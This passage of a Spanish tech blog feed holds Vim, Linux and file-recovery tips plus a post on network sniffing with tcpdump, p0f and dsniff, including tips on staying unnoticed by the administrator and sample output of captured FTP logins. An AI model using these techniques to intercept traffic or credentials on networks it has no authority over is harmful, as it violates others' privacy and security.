</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 19 Apr 2011 10:52:00 -0700</pubDate><guid>tag:orvtech.com,2011-04-19:fedora-15-entra-en-fase-beta.html</guid><category>Alfa</category><category>Beta</category><category>Linux</category><category>Proyecto Fedora</category><category>torrents</category></item><item><title>Exportar shell scripts a HTML</title><link>http://orvtech.com/exportar-shell-scripts-html.html</link><description>&lt;p&gt;Exportar tu shell script a HTML, con sintaxis resaltada en colores es posible con la ayuda de Vim y este comando:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;vim -f +&lt;span class="s2"&gt;&amp;quot;syn on&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;run! syntax/2html.vim&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;wq&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;q&amp;quot;&lt;/span&gt; hola.sh
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esta linea convierte &lt;em&gt;hola.sh&lt;/em&gt; a &lt;em&gt;hola.sh.html&lt;/em&gt;, el parámetro -f forza a Vim a permanecer en el primer plano, cosa que es útil si Vim va a ser utilizado por otro programa como un cliente de correos o en nuestro caso este script.&lt;/p&gt;
&lt;p&gt;Activar el coloreado de sintaxis y ejecutar el plugin &lt;tt class="docutils literal"&gt;2html.vim&lt;/tt&gt; seria la segunda parte de este script. Aquí pasa algo peculiar, plugin &lt;tt class="docutils literal"&gt;2html.vim&lt;/tt&gt; divide la pantalla de Vim donde la parte superior es el código HTML y la inferior es el documento original. Seguidamente se le envía &lt;tt class="docutils literal"&gt;wq&lt;/tt&gt; para salvar y salir de la primera ventana y se le envía &lt;tt class="docutils literal"&gt;q&lt;/tt&gt; para que termine con la ventana restante.&lt;/p&gt;
&lt;p&gt;La salida de esta linea seria hola.sh.html y luce así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content-type&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/html; charset=UTF-8&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;/tmp/hola.sh.html&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Generator&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vim/7.4&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;plugin-version&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;vim7.4_v1&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;syntax&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bash&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;settings&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;use_css,pre_wrap,no_foldcolumn,prevent_copy=&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;colorscheme&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;style &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/css&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;
&lt;span class="nt"&gt;pre&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;white-space&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wrap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;font-family&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;monospace&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;background-color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#ffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;font-family&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;monospace&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;background-color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#ffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;font-size&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1em&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.Comment&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#0000c0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.Constant&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#c00000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.Statement&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#af5f00&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;text/javascript&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!--&lt;/span&gt;

&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;vimCodeElement&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Comment&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;#!/bin/bash&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Comment&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;# orvtech.com&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;echo&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Constant&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Constant&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Este script sera convertido&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;echo&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Constant&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Constant&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;a HTML usando Vim&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Statement&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- vim: set foldmethod=manual : --&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;style type="text/css"&gt;
&lt;!--
pre { white-space: pre-wrap; font-family: monospace; color: #000000; background-color: #ffffff; }
body { font-family: monospace; color: #000000; background-color: #ffffff; }
* { font-size: 1em; }
.Comment { color: #0000c0; }
.Constant { color: #c00000; }
.Statement { color: #af5f00; }
--&gt;
&lt;/style&gt;

&lt;script type='text/javascript'&gt;
&lt;!--

--&gt;
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;pre id='vimCodeElement'&gt;
&lt;span class="Comment"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="Comment"&gt;# orvtech.com&lt;/span&gt;
&lt;span class="Statement"&gt;echo&lt;/span&gt;&lt;span class="Constant"&gt; &lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;Este script sera convertido&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="Statement"&gt;echo&lt;/span&gt;&lt;span class="Constant"&gt; &lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;a HTML usando Vim&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;p&gt;Incorporar este script en un bucle para que convierta todos los shell
scripts a HTML es fácil, con un bucle &lt;tt class="docutils literal"&gt;for&lt;/tt&gt;, lo podemos hacer,
quedaría así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;for &lt;/span&gt;ARCHIVO in &lt;span class="sb"&gt;`&lt;/span&gt;ls *.sh&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;quot;Convirtiendo $ARCHIVO a HTML&amp;quot;&lt;/span&gt;  vim -f +&lt;span class="s2"&gt;&amp;quot;syn on&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;run! syntax/2html.vim&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;wq&amp;quot;&lt;/span&gt; +&lt;span class="s2"&gt;&amp;quot;q&amp;quot;&lt;/span&gt; &lt;span class="nv"&gt;$ARCHIVO&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 08 Mar 2011 08:40:00 -0800</pubDate><guid>tag:orvtech.com,2011-03-08:exportar-shell-scripts-html.html</guid><category>BASH</category><category>Linux</category><category>OSX</category><category>tips</category><category>vim</category></item><item><title>Ajuste de brillo de pantalla para Lenovo T410</title><link>http://orvtech.com/ajuste-brillo-pantalla-lenovo-t410-fedora.html</link><description>&lt;p&gt;Hace un par de semanas me asignaron una laptop nueva en el trabajo, cambie mi Lenovo T60 por una T410 que en general es mucho mas rápida.
La nueva tiene 4GB de RAM por lo que preferí instalar Fedora 64 bits, todo me funciono sin problemas excepto por el ajuste del brillo de la pantalla, investigando un poco conseguí el controlador de vídeo como lo pueden ver aquí:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
lspci | grep VGA
01:00.0 VGA compatible controller: nVidia Corporation GT218 [NVS 3100M] (rev a2)
&lt;/pre&gt;
&lt;img alt="Ajuste de brillo de pantalla en Fedora 14 para una laptop Lenovo T410" class="align-center" src="http://orvtech.info/2011/02/fedora-dark-side.jpg" style="width: 704.0px; height: 275.0px;" /&gt;
&lt;p&gt;Luego de instalare los controladores privativos de nVidia me puse a
probar las teclas especiales y note que no podía ajustar el brillo de la
pantalla, cosa que es una molestia en especial si te toca estar de
guarida y te llaman a las 3am por que el servidor &lt;em&gt;XYZ&lt;/em&gt; reporta cargas
altas. Luego de investigar un poco comparar versiones distintas de
&lt;em&gt;xorg.conf&lt;/em&gt;, encontré la solución. En la sección &lt;em&gt;Device&lt;/em&gt; es necesario
agregarle la opción &lt;em&gt;RegistryDwords&lt;/em&gt; y la variable
&lt;em&gt;EnableBrightnessControl&lt;/em&gt; con el valor &lt;em&gt;1&lt;/em&gt;. La sección &lt;em&gt;Device&lt;/em&gt; queda
así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Section &amp;quot;Device&amp;quot;
  Identifier     &amp;quot;Device0&amp;quot;
  Driver         &amp;quot;nvidia&amp;quot;
  VendorName     &amp;quot;NVIDIA Corporation&amp;quot;
  Option &amp;quot;RegistryDwords&amp;quot; &amp;quot;EnableBrightnessControl=1&amp;quot;
EndSection
&lt;/pre&gt;
&lt;p&gt;Mi archivo de configuración &lt;em&gt;xorg.conf&lt;/em&gt; completo puede ser descargado desde este &lt;a class="reference external" href="http://orvtech.info/xorg.tgz"&gt;link&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 20 Feb 2011 23:02:00 -0800</pubDate><guid>tag:orvtech.com,2011-02-20:ajuste-brillo-pantalla-lenovo-t410-fedora.html</guid><category>Lenovo</category><category>Linux</category><category>nVidia</category><category>Proyecto Fedora</category><category>tips</category></item><item><title>Un poco de network sniffing</title><link>http://orvtech.com/network-sniffing-tcpdump-p0f-dsniff.html</link><description>&lt;p&gt;Cuando uno habla de hacking o hacks, la mayoría de la gente lo asocia
con el típico nerd que vive con su mama y que desde el sótano de su casa
irrumpe en otras computadoras. En este articulo voy a hablar un poco de
las herramientas disponibles para hacer precisamente eso, pero por
motivos didácticos, así que no soy responsable de sus acciones. La
mayoría de ustedes han escuchado de &lt;em&gt;nmap&lt;/em&gt; y &lt;em&gt;nessus&lt;/em&gt; pero que hay de
las otras herramientas? echemosle un vistazo y juguemos un poco con la
red.&lt;/p&gt;
&lt;p&gt;La preferida por muchos es &lt;em&gt;tcpdump&lt;/em&gt;, es una herramienta que simplemente
nos permite escuchar todo el trafico de la red y graba todos estos
paquetes para que luego los podamos analizar. Si tienes mas de una NIC,
puedes especificar por cual quieres escuchar pasándole el parámetro -i
interfaz. Una cosa que me gusta es que &lt;em&gt;tcpdump&lt;/em&gt; pone tu NIC en modo
promiscuo (o por lo menos intenta hacerlo) de forma predeterminada, de
esta forma puede escuchar todo el trafico de ese segmento de la red.
Para deshabilitar el modo promiscuo y limitar el trafico solo a el que
le compete a tu NIC puedes usar el parámetro -p. Hay muchos otros
parámetros que puedes usar, recuerda ejecutar man &lt;em&gt;tcpdump&lt;/em&gt; para mas
información.&lt;/p&gt;
&lt;p&gt;Aquí les dejo un video que muestra como saber que sitios web estan
visitanto desde nuestra red.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;embed src="http://blip.tv/play/AYKg22wA" type="application/x-shockwave-flash" width="595" height="348" allowscriptaccess="always" allowfullscreen="true"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ahora bien, vamos a cuidar nuestras espaldas y supongamos que
queremos saber que ordenadores están en tu segmento de red pero queremos
evitar enviar paquetes a la red preguntando por estos ordenadores para
que no nos delate (recuerda, este tipo de actividad le puede parecer
sospechoso al administrador). La herramienta indicada para esta tarea es
&lt;em&gt;p0f&lt;/em&gt;, esta usa técnicas pasivas para tratar de adivinar que sistemas
existen en tu segmento de red y al igual que &lt;em&gt;tcpdump&lt;/em&gt; permite
especificar la interfaz a usar y grabar trafico guardándolo en un
archivo estilo tpcdump.&lt;/p&gt;
&lt;p&gt;Nuestras dos herramientas se empiezan a diferenciar a la hora de definir
de forma predeterminada el estado de promiscuidad de nuestra NIC, &lt;em&gt;p0f&lt;/em&gt;
requiere que especifiques que quieres que la NIC este en modo promiscuo
y solo escucha cuando un ordenador en nuestra red abre nuevas
conexiones. Aquí una lista de parámetros útiles para &lt;em&gt;p0f&lt;/em&gt;.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;-i Especifica la NIC por la que va a escuchar (p0f -i eth0)&lt;/li&gt;
&lt;li&gt;-w Guarda la salida en formato tcpdump (p0f -i eth0 -w
laboratorio.dump)&lt;/li&gt;
&lt;li&gt;-o Al igual que -w guarda la salida de este comando pero en un
archivo de texto sin formato tcpdump&lt;/li&gt;
&lt;li&gt;-O Proporciona una salida mas descriptiva. Tambien llamado modo ACK&lt;/li&gt;
&lt;li&gt;-p Indica que quieres que ponga la NIC en modo promiscuo (p0f -i eth0
-p)&lt;/li&gt;
&lt;li&gt;-s Analiza un archivo que previamente capturaste en formato tcpdump&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;El problema de todo esto hasta ahora es que es muy probable que el resto
de las maquinas esten bajo una NAT y no podamos verlas como tal, solo
veremos el router. Uno puede usar el parámetro -M que le indica a &lt;em&gt;p0f&lt;/em&gt;
que use un algoritmo de detección de enmascaramiento e intenta
identificar estas maquinas individualmente.&lt;/p&gt;
&lt;p&gt;Supongamos que ya sabemos cuales son los otros ordenadores que existen
en nuestra red, ahora lo interesante es saber que tipo de trafico
tienen, sera FTP? o tal vez HTTP?, POP?, IMAP? o cualquier otro que sea
de nuestro interés. Lo segundo que en mi caso me llama la atención es
ver desde donde viene este trafico, con quien se comunican estos otros
ordenadores? para responder todo esto podemos usar nuestra tercera
herramienta, &lt;em&gt;dsniff&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Esta utilidad al igual que las anteriores nos permite especificar que
interfaz queremos usar e incluso podemos usar el parámetro -p para que
use archivos que han sido grabados previamente. Puedes habilitar la
detección automática de protocolos usando el parámetro -m lo que te va
dar detalles crudos de que hacen tus vecinos de red.&lt;/p&gt;
&lt;p&gt;La salida de este comando luce algo asi:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
~# dsniff -m
dsniff: listening on eth0
-----------------
02/01/11 09:50:19 tcp 10.153.212.26.46004 -&amp;gt; trillian.gtlib.gatech.edu.21 (ftp)
USER anonymous
PASS mailto:axel-devel&amp;#64;lists.alioth.debian.org

-----------------
02/01/11 09:51:50 tcp 10.153.212.26.48257 -&amp;gt; linux.nssl.noaa.gov.21 (ftp)
USER anonymous
PASS mailto:axel-devel&amp;#64;lists.alioth.debian.org

-----------------
02/01/11 09:53:06 tcp 10.153.212.26.39551 -&amp;gt; chernabog.cc.vt.edu.21 (ftp)
USER anonymous
PASS chrome&amp;#64;example.com
&lt;/pre&gt;
&lt;p&gt;Ahora que sabemos quienes están a nuestro alcance, que hacen y con
quien, podemos revisar la seguridad de los servicios que prestan, el mas
común es el servicio web.&lt;/p&gt;
&lt;p&gt;Una herramienta buena para revisar como esta la seguridad de nuestro
servidor web es &lt;em&gt;nitko&lt;/em&gt;. Puedes seleccionar el hostname con la opción -h
incluso puedes pasarle una lista de host o IPs en un archivo de texto.
&lt;em&gt;nitko&lt;/em&gt; se enfoca en el puerto 80 de forma predeterminada pero puedes
alterar esto usando el parámetro -p de hecho tiene un montón de
parámetros que puedes usar para pruebas de seguridad especificas... mas
de las que quisiera mencionar aquí.&lt;/p&gt;
&lt;p&gt;No quería terminar este articulo sin antes mencionar &lt;em&gt;chkrootkit&lt;/em&gt;,
esta utilidad nos permite analizar sistemas y trata de terminar si han
sido manipulados, para ver una lista de las pruebas disponibles puedes
usar el parámetro -l. Útil para verificar si el sistema ha sido
infectado o si tiene rootkits.&lt;/p&gt;
&lt;p&gt;Este articulo es para fines didácticos, para que 'juegues' en tu propia
red y no para que dañes sistemas ajenos ni adquieras a información que
no te pertenece.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 03 Feb 2011 23:58:00 -0800</pubDate><guid>tag:orvtech.com,2011-02-03:network-sniffing-tcpdump-p0f-dsniff.html</guid><category>Hacks</category><category>Linux</category><category>OSX</category><category>Scripts</category><category>tips</category><category>Videos</category></item><item><title>Recuperar archivos borrados</title><link>http://orvtech.com/recuperar-archivos-borrados.html</link><description>&lt;p&gt;A todos nos ha pasado, estamos trabajando, por error le damos en el teclado a la flecha de arriba y pasa lo peor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;rm -f /home/m1n1m3/descargas/descargdor.sh
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cualquier entra en pánico al darnos cuenta que no teníamos respaldo de este script, pero en estos momentos es cuando mas calma se debe de
tener. Analicemos la situación, aun hay procesos usando este archivo, en
mi caso aun sigo descargando y compartiendo archivos vía torrents
gracias a este script que acabo de eliminar. Lo primero es encontrar el
PID para lo cual podemos ejecutar &lt;em&gt;ps&lt;/em&gt; y hacer un &lt;em&gt;grep&lt;/em&gt; por el nombre
del archivo, el resultado tendrá en la primera columna el PID como lo
podemos ver aquí:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;ps -p | grep -i descargador.sh
30560 pts/3    Ss+    0:00 /bin/bash /home/m1n1m3/descargas/descargdor.sh
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El sistema de ficheros &lt;em&gt;/proc&lt;/em&gt; mantiene vínculos a los archivos abiertos
por procesos dentro de el sub-directorio &lt;em&gt;fd/&lt;/em&gt; (File Descriptor) que a
su vez esa anidado dentro de una carpeta con el nombre del PID del
proceso y como acabamos de comprobar nuestro script aun se esta ejecutando.&lt;/p&gt;
&lt;p&gt;Teniendo en cuenta el PID que obtuvimos anteriormente y ya que sabemos
que la estructura de directorios es &lt;em&gt;/proc/&amp;lt;pid&amp;gt;/fd/&lt;/em&gt; podemos determinar
que el archivo que acabamos de eliminar esta dentro de &lt;em&gt;/proc/30560/fd/&lt;/em&gt;.
Para determinar cual de todos es podemos hacer un &lt;em&gt;ls -la&lt;/em&gt; y hacerle un &lt;em&gt;grep&lt;/em&gt; por el nombre del archivo a la salida del &lt;em&gt;ls -la&lt;/em&gt;. Todo esto se debería de ver así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;ls -la /proc/30562/fd/* | grep descargador.sh
/proc/30560/fd/51 -&amp;gt; /home/m1n1m3/descargas/descargador.sh &lt;span class="o"&gt;(&lt;/span&gt;deleted&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para recuperar el archivo eliminado solo debemos copiar el archivo dentro de &lt;em&gt;fd/&lt;/em&gt; a donde queramos, en mi caso, lo quiero restaurar, así
que ejecutare:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;cp /proc/30560/fd/51 /home/m1n1m3/descargas/descargador.sh
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Listo, archivo restaurado.&lt;/p&gt;
&lt;p&gt;Nota: Esto funciona también en Android&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 19 Jan 2011 23:56:00 -0800</pubDate><guid>tag:orvtech.com,2011-01-19:recuperar-archivos-borrados.html</guid><category>Android</category><category>BASH</category><category>Linux</category><category>Scripts</category><category>tips</category><category>torrents</category></item><item><title>503 - Under Maintenance</title><link>http://orvtech.com/503.html</link><description>&lt;p&gt;Sorry, the english section of my blog is under maintenance, I will start bringing content back up shortly, If you want to check my progress, here is the list of documents already translated:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/ataque-fuerza-bruta-pin-icloud-en.html"&gt;Brute force attack against the iCloud PIN lock&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/atacar-efi-pin-macbook-pro-en.html"&gt;Automated brute force attack against the EFI PIN&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/gobierno-venezolano-elecciones-proxy-twitter-en.html"&gt;What is the Venezuelan Government trying do by installing a twitter proxy just before the presidential elections?&lt;/a&gt;&lt;/li&gt;
